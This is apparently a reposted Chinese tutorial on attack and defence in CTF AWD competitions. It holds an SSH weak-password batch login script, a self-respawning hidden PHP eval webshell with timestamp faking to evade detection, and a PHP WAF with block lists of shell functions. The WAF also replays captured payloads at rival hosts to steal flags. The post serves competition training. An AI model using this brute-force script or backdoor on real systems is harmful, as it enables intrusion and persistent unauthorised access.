CTF AWD模式的攻与防


如果要学习CTF中的AWD模式之前,首先要去把这个模式的流程搞清楚。下面我推荐几个视频,可以去先学习下,下面写的具体做法和一些脚本都是非常实用的,但是要在了解了awd之后有一定基础了才可以看懂。放链接:
【2020年5月26日AWD环境分析-哔哩哔哩】https://b23.tv/mUBaux
【介绍三款CTF/AWD必备脚本,帮你迅速拿分!-哔哩哔哩】https://b23.tv/YR5Z9z
【AWD-web-哔哩哔哩】https://b23.tv/y4rf76

一.攻击

  • 弱口令: 先cat /etc/passwd 看一下有没有弱口令。 最后面显示/bin/bash是可以正常登录的用户。如果发现存在弱口令账号,python脚本进行批量ssh连接并获取flag.
#!/usr/bin/python
# -*- coding: utf-8 -*-
# author: 追寻_smile

import paramiko
import threading
def ssh(port, ip, username, passwd, cmd):
    try:
        #初始化paramiko.client类
        ssh = paramiko.SSHClient()
        #set_missing_host_key_policy:当SSH服务器的主机名不在系统主机密钥或应用程序的密钥中时,应使用该策略
        #AutoAddPolicy():自动将主机名和新主机密钥添加到本地HostKeys对象并保存它
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        #连接到SSH服务器并对其进行身份验证,port默认为22
        ssh.connect(ip, port, username, passwd, timeout=1)
        # 遍历要执行的命令
        for i in cmd:
            """
            exec_command(command, bufsize=-1, timeout=None, get_pty=False, environment=None)
            命令的输入和输出流以类似于Python file的对象的形式返回,它们代表stdin,stdout和stderr。
            """
            stdin, stdout, stderr = ssh.exec_command(i)
            #读取执行命令后输出的内容
            #print(stdout.read())
            out = stdout.readlines()
            for m in out:
                print(ip+':'+m)
        print('%s:%s\t连接成功\n' % (ip, port))
        #stdin, stdout, stderr = ssh.exec_command(cmd)
        # 输出命令执行结果
        #result = stdout.read()
        #res = result.decode(encoding="utf-8")
        #print(res)
        ssh.close()
    except:
        print('%s:%s\t连接失败\n' % (ip, port))

if __name__ == '__main__':
    # 执行命令的列表集
    cmd = ['cat flag*']
    # 用户名
    username = "admin"
    # 密码
    passwd = '123456'
    # 多线程
    threads = []
    print('begin....')
    #端口列表
    ports = ['22']
    #这个循环根据需求自定义
    for port in ports:
        for j in range(1,51):
            ip = '172.16.2.%d' % j
            # 多线程  要执行的函数(参数)
            a = threading.Thread(target=ssh, args=(port, ip, username, passwd, cmd))
            a.start()

  • 写不死马
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.zx.php';
$code = '<?php if(md5($_GET["keliseng"])=="c4704ba67d00af3d3ff4318343d1529b"){@eval($_POST[zx]);} ?>';
while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2018-12-01 09:10:12" .zx.php');
    usleep(5000);
}
?>

1..zx.php以.开头可以起到隐藏作用
2."2018-12-01 09:10:12"可以隐藏创建时间,防御者通过find *.php -mmin -10 (找到10分钟内修改的php文件)找不到此文件。
3.md5加密保证不死马只为自己所用。

二.防御

  • 如果主办方没有明令禁止,可以上通防WAF,对于很多典型的漏洞都可以起到作用.

    <?php
    /**CTF—**/
    error_reporting(0);
    class CTF_WAF{
    	public $getfilter;
    	public $postfilter;
    	public $cookiefilter;
    	public $orther;
    	public $url;
    	public $dir;
    	public $ip;
    	public $Waf_switch;
    	public $resultPage;
    	public function __construct() {
    		 $this->getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|<.*(iframe|frame|style|embed|object|frameset|meta|xml|a|img)|hacker";
    		//post拦截规则
    		$this->postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|<.*(iframe|frame|style|embed|object|frameset|meta|xml|a|img)|hacker";
    		//cookie拦截规则
    		$this->cookiefilter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
    		//其他拦截规则
    		$this->orther ="eval\(.*\)|phpinfo\(\)|assert\(.*\)|\`|\~|\^|<\?php|[oc]:\d+:|pcntl_alarm|pcntl_fork|pcntl_waitpid|pcntl_wait|pcntl_wifexited|pcntl_wifstopped|pcntl_wifsignaled|pcntl_wifcontinued|pcntl_wexitstatus|pcntl_wtermsig|pcntl_wstopsig|pcntl_signal|pcntl_signal_get_handler|pcntl_signal_dispatch|pcntl_get_last_error|pcntl_strerror|pcntl_sigprocmask|pcntl_sigwaitinfo|pcntl_sigtimedwait|pcntl_exec|pcntl_getpriority|pcntl_setpriority|pcntl_async_signals|system\(.*\)|exec\(.*\)|shell_exec\(.*\)|popen\(.*\)|proc_open\(.*\)|passthru\(.*\)|symlink\(.*\)|link\(.*\)|syslog\(.*\)|imap_open\(.*\)|flag|cat\s|etc\spasswd|IFS|display_errors|catch|ini_set|set_time_limit(0)";
    
    		$this->url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
    		$this->dir = $_SERVER['DOCUMENT_ROOT'].'/'.'waflog/';
    		$this->ip = [];
    		$this->read_ip();
    		$this->resultPage="http://127.0.0.1/";//返回页面
    		$this->Waf_switch=0;//WAF开关1开启,0关闭
    
    	}
    
    	public function Flux($Value,$style){
    				switch ($style) {
    					case 'post':
    						if(is_array($Value)){
    							$Value = http_build_query($Value);
    						}
    						$this->data_to_file("{\"url\":\"".$this->url."\",\"value\":"."\"".$Value."\",\"style\":\"Post\",\"time\":\"".time()."\"}\r\n","logs.txt",'post');
    						$this->Check_Flux($Value, $this->postfilter);
    						$this->Check_Flux($Value, $this->orther);
    						break;
    					case 'get':
    						if(is_array($Value)){
    							$Value =  http_build_query($Value);
    						}
    						$this->data_to_file("{\"url\":\"".$this->url."\",\"value\":"."\"".$Value."\",\"style\":\"Get\",\"time\":\"".time()."\"}\r\n","logs.txt",'get');
    						$this->Check_Flux($Value, $this->getfilter);
    						$this->Check_Flux($Value, $this->orther);
    						break;
    					default:
    						if(is_array($Value)){
    							$Value = http_build_query($Value);
    						}
    						$this->data_to_file("{\"url\":\"".$this->url."\",\"value\":"."\"".$Value."\",\"style\":\"Cookie\",\"time\":\"".time()."\"}\r\n","logs.txt",'cookie');
    						$this->Check_Flux($Value, $this->cookiefilter);
    						$this->Check_Flux($Value, $this->orther);
    						break;
    				}			
    			}
    	public function read_ip(){
    		if(!file_exists($this->dir."ip.txt")){
    			file_put_contents($this->dir."ip.txt", "");
    		}
    		$file = fopen($this->dir."ip.txt", "r") or exit("");
    		while(!feof($file))
    		{
    		 array_push($this->ip, trim(fgets($file)));
    		}
    		fclose($file);
    	}	
    
    	public function Check_Flux($Value,$ArrFiltReq){
    
    		if($this->Waf_switch==1){
    			if(is_array($Value)){
    			$Value=implode($Value);
    			}
    			$Value=urldecode($Value);	
    			if (preg_match("/".$ArrFiltReq."/is",$Value)==1){
    			die(file_get_contents($this->resultPage));
    			}
    
    		}
    		}
    
    	public function Request_Post($data,$url){
    		if(is_array($data)){
    				$query = http_build_query($data); //使用给出的关联(或下标)数组生成一个经过 URL-encode 的请求字符串。
    			}else{
    				$query = $data;
    			}
    		$options['http'] = array(
    	     'timeout'=>60,
    	     'method' => 'POST',
    	     'header' => 'Content-type:application/x-www-form-urlencoded',
    	     'content' => $query
    	    );//构造一个post包
    		//vardump($options['http'] );_
    		$context = stream_context_create($options);//创建并返回一个资源流上下文
    		$result = file_get_contents($url, false, $context);
    		return $result; 
    	}
    
    	public function Request_Get($url){
    		$result=[];
    		$result['content'] = file_get_contents($url);
    		preg_match_all('/\/\/(.*?)\//', $url, $ip);
    		$result['ip'] = $ip[1][0];
    		return $result; 
    	}
    
    	public function Get_Flag($result){
    		//var_dump($result);
    		if(stristr($result['content'],'flag')){
    		   preg_match_all('/flag{(.*?)}/', $result['content'],$flag);
    		   if(!empty($flag[0][0])){
    		   	  $this->data_to_file("{$result['ip']}\t| ".$flag[0][0]."\r\n","flag.txt",'flag');
    		   }
    		  
    		}
    	}
    
    	public function data_to_file($data,$filename,$style=''){
    		if(is_array($data)){
    			$data = implode($data);
    		}
    		switch ($style) {
    			case 'post':
    				if(!stristr(file_get_contents($this->dir.$filename),$data)){
    					
    					if(file_exists($this->dir.$filename)){
    						file_put_contents($this->dir.$filename,"".$data,FILE_APPEND);	
    					}else{
    						file_put_contents($this->dir.$filename,$data,FILE_APPEND);
    					}
    					for($i=0;$i<count($this->ip);$i++){
    						$this->Get_Flag($this->Request_Post(json_decode(str_replace("\r\n","",$data),true)['value'],'http://'.$this->ip[$i].'/'));
    					}
    				}
    				break;
    			case 'get':
    			 $js_data = $data;
    				if(!stristr(file_get_contents($this->dir.$filename),str_replace('http://'.$_SERVER['HTTP_HOST'], '', $data))){
    					file_put_contents($this->dir.$filename, $js_data ,FILE_APPEND);
    					for($i=0;$i<count($this->ip);$i++){
    						 $data=str_replace($_SERVER['HTTP_HOST'],$this->ip[$i],json_decode(str_replace("\r\n","",$data),true)['url']);
    						$this->Get_Flag($this->Request_Get($data));
    						$data=$js_data ;
    					}
    				}
    				break;
    			case 'cookie':
    				if(!stristr(file_get_contents($this->dir.$filename),$data)){
    					if(file_exists($this->dir.$filename)){
    						file_put_contents($this->dir.$filename,"".$data,FILE_APPEND);	
    					}else{
    						file_put_contents($this->dir.$filename,$data,FILE_APPEND);
    					}
    				}
    				break;
    			case 'flag':
    				if(!stristr(file_get_contents($this->dir.$filename),$data)){
    					file_put_contents($this->dir.$filename,$data,FILE_APPEND);
    				}
    				break;
    		}
    	}
    }
    
    
    /*******************************/
    /*         调用WAF            */
    
    $waf = new  CTF_WAF();
    
    if(isset($_GET)){
    	$waf->Flux($_GET,'get');
    }
    
    if(isset($_POST)){
    	$waf->Flux($_POST,'post');
    }
    
    if(isset($_COOKIE)){
    	$waf->Flux($_COOKIE,'cookie');
    }
    
1.$this->Waf_switch=0;//WAF开关1开启,0关闭,这里打开WAF
2.chmod 777 -R var/www/html #对一个目录及子目录所有文件添加权限。
3.find /var/www/html/ -type f -path "*.php" | xargs sed -i "s/<?php/<?php\nrequire_once('/var/www/html/CTF_WAF.php');\n/g" #对目录下所有php文件进行文件包含命令.我们可以利用此语句,将所有php文件包含此WAF.
  • 查杀不死马

    1.find *.php -mmin -10 #找到10分钟内修改的php文件,如果有的话删除

    2.ps -aux 查看进程,kill 掉不死马,或者上传同名文件,不死马则失效。


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM